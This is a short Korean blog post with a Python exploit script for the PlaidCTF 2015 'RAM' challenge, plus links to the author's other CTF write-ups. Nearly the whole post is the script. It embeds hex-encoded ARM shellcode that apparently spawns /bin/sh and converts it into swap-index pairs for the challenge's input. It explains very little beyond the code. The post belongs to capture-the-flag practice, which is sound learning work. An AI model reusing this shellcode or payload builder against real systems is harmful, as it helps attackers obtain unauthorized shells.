본문 바로가기

Games/CTF

PlaidCTF 2015 RAM

# pCTF2015 RAM exploit

import os, sys, struct

code  = '09508fe215ff2fe1c1c2c3c4c5c6c7c87b46d96a'

code += '1d6b0639073d0391049505af083f381c4940921a'

code += '0b2701dff1f2f3f4f5f6f7f8b1b2b3b4b5b6b7b8'

code += 'b9babbbc3562696e36736800'

code = code.decode('hex')

buf = map(chr, range(256))

res = ''

i=0

for b in code:

target = chr( struct.unpack('<B', b)[0] )

n = buf.index(target)

#print 'swap {} - {}'.format(n, i)

res += chr(n)

res += chr(i)

buf[i], buf[n] = buf[n], buf[i]

i += 1

res += '\xfe\xfe'

print res

'Games > CTF' 카테고리의 다른 글

PlaidCTF 2016 pzip  (0) 2016.04.19
CAMPCTF 2015 dkm  (0) 2015.11.19
화이트햇 콘테스트 2015 한글 익스플로잇 분석  (6) 2015.10.27
EKO CTF pwn200  (0) 2015.09.17
DEFCON 2014 Final - wdub  (0) 2015.09.09